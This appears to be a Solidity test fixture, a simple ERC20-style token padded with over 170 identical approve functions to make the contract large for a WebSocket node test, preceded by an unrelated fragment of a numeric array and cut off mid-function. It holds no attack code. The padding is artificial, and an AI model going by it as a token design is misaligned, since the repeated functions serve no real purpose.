203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// to test issue with nodes breaking with large clients over WS
// fixed in web3 with fragmentationThreshold: 8192
pragma solidity ^0.4.17;
contract BigFreakingContract {
event Transfer(address indexed from, address indexed to, uint value);
event Approval( address indexed owner, address indexed spender, uint value);
mapping( address => uint ) _balances;
mapping( address => mapping( address => uint ) ) _approvals;
uint public _supply;
constructor( uint initial_balance ) public {
_balances[msg.sender] = initial_balance;
_supply = initial_balance;
}
function totalSupply() public constant returns (uint supply) {
return _supply;
}
function balanceOf( address who ) public constant returns (uint value) {
return _balances[who];
}
function transfer( address to, uint value) public returns (bool ok) {
if( _balances[msg.sender] < value ) {
revert();
}
if( !safeToAdd(_balances[to], value) ) {
revert();
}
_balances[msg.sender] -= value;
_balances[to] += value;
emit Transfer( msg.sender, to, value );
return true;
}
function transferFrom( address from, address to, uint value) public returns (bool ok) {
// if you don't have enough balance, throw
if( _balances[from] < value ) {
revert();
}
// if you don't have approval, throw
if( _approvals[from][msg.sender] < value ) {
revert();
}
if( !safeToAdd(_balances[to], value) ) {
revert();
}
// transfer and return true
_approvals[from][msg.sender] -= value;
_balances[from] -= value;
_balances[to] += value;
emit Transfer( from, to, value );
return true;
}
function approve(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function allowance(address owner, address spender) public constant returns (uint _allowance) {
return _approvals[owner][spender];
}
function safeToAdd(uint a, uint b) internal pure returns (bool) {
return (a + b >= a);
}
function isAvailable() public pure returns (bool) {
return false;
}
function approve_1(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_2(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_3(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_4(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_5(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_6(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_7(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_8(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_9(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_10(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_11(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_12(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_13(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_14(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_15(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_16(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_17(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_18(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_19(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_20(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_21(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_22(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_23(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_24(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_25(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_26(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_27(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_28(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_29(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_30(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_31(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_32(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_33(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_34(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_35(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_36(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_37(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_38(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_39(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_40(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_41(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_42(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_43(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_44(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_45(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_46(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_47(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_48(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_49(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_50(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_51(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_52(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_53(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_54(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_55(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_56(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_57(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_58(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_59(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_60(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_61(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_62(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_63(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_64(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_65(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_66(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_67(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_68(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_69(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_70(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_71(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_72(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_73(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_74(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_75(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_76(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_77(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_78(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_79(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_80(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_81(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_82(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_83(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_84(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_85(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_86(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_87(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_88(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_89(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_90(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_91(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_92(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_93(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_94(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_95(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_96(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_97(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_98(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_99(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_100(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_101(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_102(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_103(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_104(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_105(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_106(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_107(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_108(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_109(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_110(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_111(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_112(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_113(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_114(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_115(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_116(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_117(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_118(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_119(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_120(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_121(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_122(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_123(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_124(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_125(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_126(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_127(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_128(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_129(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_130(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_131(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_132(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_133(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_134(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_135(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_136(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_137(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_138(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_139(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_140(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_141(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_142(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_143(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_144(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_145(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_146(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_147(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_148(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_149(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_150(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_151(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_152(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_153(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_154(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_155(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_156(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_157(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_158(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_159(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_160(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_161(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_162(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_163(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_164(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_165(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_166(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_167(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_168(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_169(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_170(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_171(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_172(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_173(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_174(address spender, uint value) public returns (bool ok) {
